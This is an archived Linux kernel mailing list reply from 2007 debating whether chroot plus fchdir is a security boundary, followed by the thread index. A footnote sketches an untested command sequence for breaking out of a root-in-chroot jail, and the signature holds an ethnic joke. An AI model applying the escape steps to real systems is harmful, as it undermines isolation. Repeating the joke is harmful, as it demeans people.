> thought it? Only root can do that, but even that seems wrong. Chroot
> should be chroot and that should be the end of it.
chroot with having open directories outside the chroot is a convenience
feature, allowing e.g. to install programs into a different root while
opening the archives from another root tree. Only if there is a working
capability system preventing root from accessing the hardware*, a chroot
may become a security feature.
Off cause having the new fchdir, you might run "chroot /var/foo 3< /" in
order to pass a dir filehandle and compromise your own security, but this
is nothin a system should protect against.
The only problem I'm concerned about is passing a file descriptor to a
privileged, compromised process using an abstract unix socket. This combines
two different privileges, possibly increasing the impact of the attack.
I think it may be enough to not allow passing directory fds if the two
processes have different device/inode/namespace, but I'm not sure about
device fds.
*) chmod u+s binary; su nobody; exec binary; mount tmpfs /; mknod dev_mem
should be enough to void most root-in-chroot setups. Very untested.
--
Funny quotes:
26. If you take an Oriental person and spin him around several times, does he
become disoriented?
Friß, Spammer: hrzoi8.sT@gYjoOs.7eggert.dyndns.org zq@u1kq.7eggert.dyndns.org
^ permalink raw reply [flat|nested] 50+ messages in thread
end of thread, other threads:[~2007-09-28 1:06 UTC | newest]
Thread overview: 50+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2007-09-19 7:19 sys_chroot+sys_fchdir Fix majkls
2007-09-19 9:40 ` Alan Cox
2007-09-19 18:27 ` Bill Davidsen
2007-09-19 18:45 ` Alan Cox
2007-09-19 22:24 ` David Newall
2007-09-21 17:39 ` Phillip Susi
2007-09-21 18:10 ` Alan Cox
2007-09-25 20:53 ` Phillip Susi
2007-09-26 0:23 ` Al Viro
2007-09-26 10:34 ` David Newall
2007-09-26 11:21 ` Alan Cox
2007-09-26 11:22 ` David Newall
2007-09-26 11:38 ` Alan Cox
2007-09-26 11:56 ` David Newall
2007-09-26 14:10 ` Alan Cox
2007-09-26 15:03 ` Chris Adams
2007-09-26 16:54 ` David Newall
2007-09-26 17:04 ` Alan Cox
2007-09-26 17:18 ` David Newall
2007-09-26 17:29 ` Alan Cox
2007-09-26 17:28 ` David Newall
2007-09-26 18:40 ` Al Viro
2007-09-26 19:24 ` Christer Weinigel
2007-09-26 21:19 ` David Newall
2007-09-26 21:55 ` Adrian Bunk
2007-09-26 23:35 ` David Newall
2007-09-27 0:01 ` Adrian Bunk
2007-09-27 3:59 ` Al Viro
2007-09-27 6:42 ` David Newall
2007-09-27 6:53 ` Adrian Bunk
2007-09-27 7:28 ` Christer Weinigel
2007-09-27 11:23 ` Theodore Tso
2007-09-27 14:36 ` Bill Davidsen
2007-09-28 1:06 ` David Newall
[not found] <952DN-83o-31@gated-at.bofh.it>
[not found] ` <954cl-29C-3@gated-at.bofh.it>
[not found] ` <95ctn-74b-15@gated-at.bofh.it>
[not found] ` <95cMH-7um-19@gated-at.bofh.it>
[not found] ` <95gdA-4OZ-7@gated-at.bofh.it>
2007-09-20 11:13 ` Bodo Eggert
2007-09-20 11:59 ` Philipp Marek
2007-09-20 12:52 ` majkls
2007-09-20 16:06 ` David Newall
2007-09-20 16:17 ` Philipp Marek
2007-09-20 18:02 ` David Newall
2007-09-20 20:53 ` Bill Davidsen
2007-09-21 8:29 ` David Newall
2007-09-24 21:32 ` Serge E. Hallyn
2007-09-24 22:04 ` David Newall
2007-09-24 23:00 ` Serge E. Hallyn
2007-09-25 7:45 ` David Newall
2007-09-25 11:49 ` Serge E. Hallyn
2007-09-25 13:58 ` David Newall
2007-09-24 23:02 ` Serge E. Hallyn
[not found] ` <95UE2-1oR-19@gated-at.bofh.it>
[not found] ` <95V72-2ly-17@gated-at.bofh.it>
[not found] ` <97pG8-3B5-47@gated-at.bofh.it>
[not found] ` <97sX2-p1-3@gated-at.bofh.it>
2007-09-26 9:38 ` Nick Craig-Wood
[not found] <fa.1U6+49SWHSlhuK5/3PBckFWAbXU@ifi.uio.no>
[not found] ` <fa.WASh5K8oOF4DAq3sSYtIlWNCdWQ@ifi.uio.no>
[not found] ` <fa.X6MeYG+PmN8/e5zfGij80quLaws@ifi.uio.no>
[not found] ` <fa./eIdqiAY0Mx9xHl6ESobHaLKJBM@ifi.uio.no>
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